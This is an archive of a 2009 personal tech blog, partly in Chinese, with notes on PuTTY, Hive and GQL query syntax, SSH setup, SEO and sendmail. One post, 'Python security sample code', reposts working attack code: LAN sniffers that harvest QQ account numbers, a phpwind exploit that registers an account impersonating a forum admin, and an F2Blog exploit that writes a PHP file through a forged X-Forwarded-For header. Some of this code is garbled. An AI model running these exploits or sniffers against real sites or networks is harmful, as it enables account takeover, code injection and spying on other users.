Archive for October, 2009

linux putty font settings

Tuesday, October 27th, 2009

putty配置
[window]→[Appearance]→[Font settings]→[Change]→[Fixedsys CHINESE_GB2312]
[window]→[Appearance]→[Translation]→[Received data assumed to be in which character set]→[Use font encoding UTF-8]

如果经常使用,把这些设置保存在session里面。
打开putty,登录成功后,在shell中输入:export LC_ALL=’zh_CN.utf8′

HiveSQL Select Syntax

Sunday, October 25th, 2009

Select Syntax

SELECT [ALL | DISTINCT] select_expr, select_expr, ...
FROM table_reference
[WHERE where_condition]
[GROUP BY col_list]
[   CLUSTER BY col_list
  | [DISTRIBUTE BY col_list] [SORT BY col_list]
]
[LIMIT number]
  • A SELECT statement can be part of a union query or a subquery of another query.
  • table_reference indicates the input to the query. It can be a regular table, a join construct or a subquery.
  • Simple query. For example, the following query retrieves all columns and all rows from table t1.
SELECT * FROM t1
  • Where clause – The where condition is a boolean expression. For example, the following query returns only those sales records which have an amount greater than 10 from the US region. Hive does not support IN, EXISTS or subqueries in the WHERE clause.
SELECT * FROM sales WHERE amount > 10 AND region = "US"
  • The ALL and DISTINCT options specify whether duplicate rows should be returned. If none of these options are given, the default is ALL (all matching rows are returned). DISTINCT specifies removal of duplicate rows from the result set.
hive> SELECT col1, col2 FROM t1
    1 3
    1 3
    1 4
    2 5
hive> SELECT DISTINCT col1, col2 FROM t1
    1 3
    1 4
    2 5
hive> SELECT DISTINCT col1 FROM t1
    1
    2
  • Partition based queries. In general, a SELECT query scans the entire table (other than for sampling). If a table created using the PARTITIONED BY clause, a query can do input pruning and scan only a fraction of the table relevant to the query. Hive currently does input pruning only if the partition predicates are specified in the WHERE clause closest to the table_reference in the FROM clause. For example, if table page_views is partitioned on column date, the following query retrieves rows for just one day 2008-03-31.
    SELECT page_views.*
    FROM page_views
    WHERE page_views.date >= '2008-03-01' AND page_views.date <= '2008-03-31'
SELECT col1 FROM t1 GROUP BY col1 HAVING SUM(col2) > 10

can be rewritten as

SELECT col1 FROM (SELECT col1, SUM(col2) AS col2sum FROM t1 GROUP BY col1) t2 WHERE t2.col2sum > 10
  • Limit indicates the number of rows to be returned. The rows returned are chosen at random. The following query returns 5 rows from t1 at random.
SELECT * FROM t1 LIMIT 5
  • Top k queries. The following query returns the top 5 sales records wrt amount.
SET mapred.reduce.tasks = 1
SELECT * FROM sales SORT BY amount DESC LIMIT 5
  • A SELECT statement can take regex-based column specification.
  • We use java regex syntax. Try http://www.fileformat.info/tool/regex.htm for testing purposes.
  • The following query select all columns except ds and hr.
SELECT `(ds|hr)?+.+` FROM sales

ssh on centos

Saturday, October 24th, 2009

su – hadoop
ssh-keygen -t rsa

cd .ssh
scp -r id_rsa.pub hadoop@conby.com:/home/hadoop/.ssh/authorized_keys_m

cat authorized_keys_m >> authorized_keys

chmod 755 .ssh
chmod 644 authorized_keys

how to search file on linux

Thursday, October 22nd, 2009

  1. whereis filename

  2. find / -name filename

  #find / -name php.ini

  3. locate filename

Python security sample code

Thursday, October 15th, 2009

1、数据嗅探,这个例子,是嗅探土豆网上的flash真正的播放地址。

import pcap ,struct , re
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('tcp port 80')
regx=r'/[\w+|/]+.flv|/[\w+|/]+.swf'
urls=[]
hosts=[]
print 'start capture....'
for recv_time,recv_data in pack:
    urls=re.findall(regx,recv_data);
    if(len(urls)!=0):print urls;

2、嗅探qq号码,用它嗅探局域网里所有的qq那。可惜没有识别性别的功能。不过可以自己添加

# -*- coding: cp936 -*-
import pcap ,struct
pack=pcap.pcap()
pack.setfilter('udp')
key=''
for recv_time,recv_data in pack:
   recv_len=len(recv_data)
   if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101]
== chr(03):
      print struct.unpack('&gt;I',recv_data[49:53])[0]
   elif recv_len == 55:
      print struct.unpack('&gt;I',recv_data[49:53])[0]

or

# -*- coding: cp936 -*-
import pcap ,struct

pack=pcap.pcap()
pack.setfilter('udp')
key=''
for recv_time,recv_data in pack:
   recv_len=len(recv_data)
   if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101] == chr(03):
      print struct.unpack('&gt;I',recv_data[49:53])[0]
      print '登陆了'
   elif recv_len == 55:
      print struct.unpack('&gt;I',recv_data[49:53])[0]
      print '登陆了'

3、数据嗅探,项目中遇到,需要嗅探一些发送到特定端口的数据

import pcap ,struct
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('port 2425')
f=open(r'/mm.txt','w+')
print 'start capture....'
for recv_time,recv_data in pack:
    print recv_time
    print recv_data
    f.write(recv_data)

3、文件内容搜索,发现windows的自带的搜索无法搜索内容。即使搜索到也不准。

import os,string,re,sys

class SevenFile:
    files=[]
    def FindContent(self,path):
        print 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
        walks=os.walk(path)
        for walk in walks:
            for filename in walk[2]:
                if('.mht' == filename[-4:]):
                    res_taskid=[]
                    file=walk[0]+'\'+filename
                    f=open(file)
                    content=f.read()
                    pattern_taskid=re.compile(r'
Stonehenge-UIVerificationChecklist\.mht',re.IGNORECASE) #
                    res_taskid=pattern_taskid.findall(content)
                    f.close()
                    if len(res_taskid)&gt;0:
                        self.files.append(file)

def run():
    f=SevenFile()
    f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")
    for filepath in f.files:
        print filepath  
    print "OK"

if __name__=="__main__":
    run()

4、一个网上的攻击phpwind论坛的一个代码

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def usage():
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目标论坛地址如http://www.80sec.com/"
print " usertoattack 目标拥有权限的斑竹或管理员"
print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
print " 最新版本可以使用uid登陆"
print " 其他版本可以使用cookie+useragent登陆"
print "########################################################"
print ""

argvs=sys.argv
usage()

data = "regname=%s
%s1&amp;regpwd=@80sec&amp;regpwdrepeat=@80sec&amp;regemail=...@foo.com&amp;regemailtoall=1&amp;step=2"

% (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-
urlencoded'
,'User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"

5、黑客注入攻击,针对指定网站的注入演示

#!c:\python24\pyton
# Exploit For F2Blog All Version
# Author BY MSN:pt...@vip.sina.com
# Date: Jan 29 2007

import sys
import httplib
from urlparse import urlparse
from time import sleep

def injection(realurl,path,evil): #url,/bk/,evilip
   cmd=""
   cookie=""
   header={'Accept':'*/*','Accept-Language':'zh-
cn'
,'Referer':'http://'+realurl[1]+path+'index.php','Content-
Type'
:'application/x-www-form-urlencoded','User-
Agent'
:useragent,'Host':realurl[1],'Content-length':len(cmd),
         'Connection':'Keep-Alive','X-Forwarded-
For'
:evil,'Cookie':cookie}
   #cmd =
"formhash=6a49b97f&amp;referer=discuz.php&amp;loginmode=&amp;styleid=&amp;cookietime=2592000&amp;loginfield=username&amp;username=test&amp;password=123456789&amp;questionid=0&amp;answer=&amp;loginsubmit=
%E6%8F%90+%C2%A0+%E4%BA%A4"

   #print header
   #print path
   #sys.exit(1)
   http = httplib.HTTPConnection(realurl[1])
   http.request("POST",path+"index.php",cmd, header)
   sleep(1)
   http1 = httplib.HTTPConnection(realurl[1])
   http1.request("GET",path+"cache/test11.php")
   response = http1.getresponse()
   re1 = response.read()
   #print re1
   print re1.find('test')
   if re1.find('test') ==0:
     print 'Expoilt Success!\n'
     print 'View Your shell:\t%s' %shell
     sys.exit(1);

   else:
     sys.stdout.write("Expoilt FALSE!")
     http.close()
     #sleep(1)
     #break
     sys.stdout.write("\n")

def main ():
print 'Exploit For F2Blog All Version'
print 'Codz by pt...@vip.sina.com\n'
if len(sys.argv) == 2:
   url = urlparse(sys.argv[1])
   if url[2:-1] != '/':
       u = url[2] + '/'
   else:
       u = url[2] #u=/bk/
else:
   print "Usage: %s  " % sys.argv[0]
   print "Example: %s http://127.0.0.1/bk" % sys.argv[0]
   sys.exit(0)

print '[+] Connect %s' % url[1]
print '[+] Trying...'
print '[+] Plz wait a long long time...'
global shell,useragent
shell="http://"+url[1]+u+"cache/test11.php"
query ='fputs(fopen(\'cache/test11.php\',\'w+\'),\'test\')'
query ='\'));'+query+';/*'
evilip=query
useragent=""
cookie=""
injection(url,u,evilip)
evilip=""
injection(url,u,evilip)

print '[+] Finished'

if __name__ == '__main__': main()

python注入工具(sqlmap),支持现在基本上所有的数据库。 MySQL, Oracle, PostgreSQL and Microsoft SQL

from 软件测试论坛 by sihanjishu

Python SSH pexpect paramiko example

Thursday, October 15th, 2009
import pexpect

child = pexpect.spawn('ssh root@192.168.100.6 ls /home')
child.expect('Password:')
child.sendline('mima')
import paramiko

client = paramiko.SSHClient()
client.load_system_host_keys()
ip = '192.168.100.6'
client.connect(ip, username='root', password='mima')
i, o, e = client.exec_command('apt-get install sl -y --force-yes')
print o.read(), e.read()
client.close()

GQL Reference

Wednesday, October 14th, 2009

GQL is a SQL-like language for retrieving entities or keys from the App Engine scalable datastore. While GQL’s features are different from those of a query language for a traditional relational database, the GQL syntax is similar to that of SQL.

The GQL syntax can be summarized as follows:

  SELECT [* | __key__] FROM <kind>
    [WHERE <condition> [AND <condition> ...]]
    [ORDER BY <property> [ASC | DESC] [, <property> [ASC | DESC] ...]]
    [LIMIT [<offset>,]<count>]
    [OFFSET <offset>]

  <condition> := <property> {< | <= | > | >= | = | != } <value>
  <condition> := <property> IN <list>
  <condition> := ANCESTOR IS <entity or key>

As with SQL, GQL keywords are case insensitive. Kind and property names are case sensitive.

A GQL query returns zero or more entities or Keys of the requested kind. Every GQL query always begins with either

SELECT * FROM

or

SELECT __key__ FROM

, followed by the name of the kind. (A GQL query cannot perform a SQL-like “join” query.)

Tip:

SELECT __key__

queries are faster and cost less CPU than

SELECT *

queries.

The optional

WHERE

clause filters the result set to those entities that meet one or more conditions. Each condition compares a property of the entity with a value using a comparison operator. If multiple conditions are given with the

AND

keyword, then an entity must meet all of the conditions to be returned by the query. GQL does not have an

OR

operator. However, it does have an

IN

operator, which provides a limited form of

OR

.

The

IN

operator compares value of a property to each item in a list. The

IN

operator is equivalent to many

=

queries, one for each value, that are ORed together. An entity whose value for the given property equals any of the values in the list can be returned for the query.

Note: The

IN

and

!=

operators use multiple queries behind the scenes. For example, the

IN

operator executes a separate underlying datastore query for every item in the list. The entities returned are a result of the cross-product of all the underlying datastore queries and are de-duplicated. A maximum of 30 datastore queries are allowed for any single GQL query.

A condition can also test whether an entity has a given entity as an ancestor, using the

ANCESTOR IS

operator. The value is a model instance or Key for the ancestor entity. For more information on ancestors, see Keys and Entity Groups.

The left-hand side of a comparison is always a property name. The right-hand side can be one of the following (as appropriate for the property’s data type):

  • a
    str

    literal, as a single-quoted string. Single-quote characters in the string must be escaped as

    ''

    . For example:

    'Joe''s Diner'
  • an integer or floating point number literal. For example:
    42.7
  • a Boolean literal, as
    TRUE

    or

    FALSE

    .

  • the
    NULL

    literal, which represents the null value (

    None

    in Python).

  • a datetime, date, or time literal, with either numeric values or a string representation, in the following forms:
    • DATETIME(<em>year</em>, <em>month</em>, <em>day</em>, <em>hour</em>, <em>minute</em>, <em>second</em>)
    • DATETIME('<em>YYYY-MM-DD HH:MM:SS</em>')
    • DATE(<em>year</em>, <em>month</em>, <em>day</em>)
    • DATE('<em>YYYY-MM-DD</em>')
    • TIME(<em>hour</em>, <em>minute</em>, <em>second</em>)
    • TIME('<em>HH:MM:SS</em>')
  • an entity key literal, with either a string-encoded key or a complete path of kinds and key names/IDs:
    • KEY('<em>encoded key</em>')
    • KEY('<em>kind</em>', <em>'name'/ID</em> [, '<em>kind</em>', <em>'name'/ID</em>...])
  • a User object literal, with the user’s email address:
    USER('<em>email-address</em>')
  • a GeoPt literal, with the latitude and longitude as floating point values:
    GEOPT(<em>lat</em>, <em>long</em>)
  • a bound parameter value. In the query string, positional parameters are referenced by number:
    title = :1

    Keyword parameters are referenced by name:

    title = :mytitle

Note: conditions of the form

property = NULL

(which are equivalent) check to see whether a null value is explicitly stored in the datastore for that property. This is not the same as checking to see if the entity lacks any value for the property! Datastore queries which refer to a property never return entities which don’t have some value for that property.

Bound parameters can be bound as positional arguments or keyword arguments passed to the GqlQuery constructor or a Model class’s gql() method. Property data types that do not have corresponding value literal syntax must be specified using parameter binding, including the list data type. Parameter bindings can be re-bound with new values during the lifetime of the GqlQuery instance (such as to efficiently reuse a query) using the bind() method.

The optional

ORDER BY

clause indicates that results should be returned sorted by the given properties, in either ascending (

ASC

) or descending (

DESC

) order. If the direction is not specified, it defaults to

ASC

. The

ORDER BY

clause can specify multiple sort orders as a comma-delimited list, evaluated from left to right.

An optional

LIMIT

clause causes the query to stop returning results after the first

count

entities. The

LIMIT

can also include an

offset

to skip that many results to find the first result to return. An optional

OFFSET

clause can specify an

offset

if no

LIMIT

clause is present.

Note: A

LIMIT

clause has a maximum of 1000. If a limit larger than the maximum is specified, the maximum is used. This same maximum applies to the fetch() method of the GqlQuery class.

Note: Like the

offset

parameter for the fetch() method, an

OFFSET

in a GQL query string does not reduce the number of entities fetched from the datastore. It only affects which results are returned by the fetch() method. A query with an offset has performance characteristics that correspond linearly with the offset size.

For information on executing GQL queries, binding parameters, and accessing results, see the GqlQuery class, and the Model.gql() class method.

how to do SEO for your site?

Monday, October 12th, 2009

1) SEF (伪静态化)
2) Meta, Alt, title, Description
3) 内链(Link building)
4) 普通外链(Copriwriting, 软文)
5) keyword (关键词排名检测 -> report)
6) Sitemap
7) 网站内容根据keyword进行适当调整
8) Google webmaster tool(人工提交网站)
9) 优质友情链接和外链

Python pipe for Sendmail forward on CentOS

Saturday, October 10th, 2009

1)

|/usr/bin/php -q /var/www/html/order/pipe/pipe.php
|/usr/bin/python /home/user5/b/pipe.py

2)

chmod 755 /home/user5/b/pipe.py

3)

cd /etc/smrsh
ln -s /home/user5/b/pipe.py pipe.py
ln -s /usr/bin/python python

4)

#!/usr/bin/env python

import sys
import sendmail

sendmail(sys.stdin.read())

vsftpd ssh login slow, Reverse DNS settings

Friday, October 9th, 2009

vi /etc/resolv.conf

make sure there is only 100% correct nameserver record here,  to avoid any wrong, suggest to leave only one single nameserver record, e.g.

nameserver 202.96.128.86